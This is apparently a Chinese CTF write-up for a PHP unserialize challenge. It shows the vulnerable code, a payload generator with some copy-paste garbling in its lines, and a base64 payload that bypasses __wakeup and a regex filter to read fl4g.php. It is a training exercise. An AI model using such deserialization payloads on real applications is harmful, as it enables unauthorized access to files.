攻防世界-Web_php_unserialize

攻防世界-Web_php_unserialize

分析php代码

<?php class Demo { private $file = 'index.php'; //构造函数 public function __construct($file) { $this->file = $file; } //析构函数 function __destruct() { //打开指定文件,并高亮文件中内容,第二个为return参数,为true,函数将返回高亮显示的代码字符串,而不是直接输出到浏览器。 echo @highlight_file($this->file, true); } //wakeup魔法函数,在反序列化之前调用。 function __wakeup() { if ($this->file != 'index.php') { //提示秘密藏在fl4g.php文件中 //the secret is in the fl4g.php $this->file = 'index.php'; } } } //判断语句,isset()检测是否有内容 //$_GET('var')获取name为var的内容 if (isset($_GET['var'])) { //base64解码 $var = base64_decode($_GET['var']); //检测字符串是否有与之匹配的内容。 if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { //反序列化 @unserialize($var); } } else { //高亮打开文件 highlight_file("index.php"); } ?>

分析完,发现需要解决两个问题:

  • 绕过字符串检测
  • 绕过wakeup函数

构造payload

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }

$a=new Demo(‘fl4g.php’);
//序列化
b = s e r i a l i z e ( b=serialize( b=serialize(a);
//将对象的属性个数改为大于实际数,substr_replace(字符串,要替换进去的字符,开始位置,替换的字符数目)。
v = s u b s t r r e p l a c e ( v=substr_replace( v=substrreplace(b,‘2’,11,1);
//在O:4:的4前加个‘+’,绕过字符串检测。
v = s t r r e p l a c e ( ′ : 4 : ′ , ′ : + 4 : ′ , v=str_replace(':4:',':+4:', v=strreplace(:4:,:+4:,v);
//base64编码
c = b a s e 6 4 e n c o d e ( c=base64_encode( c=base64encode(v);

echo $c;
?>

构造完毕得到相应的payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 以GET方式,将payload放在var变量中注入 如:http://url/index.php/?var=payload 随后进入fl4g.php的到flag

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值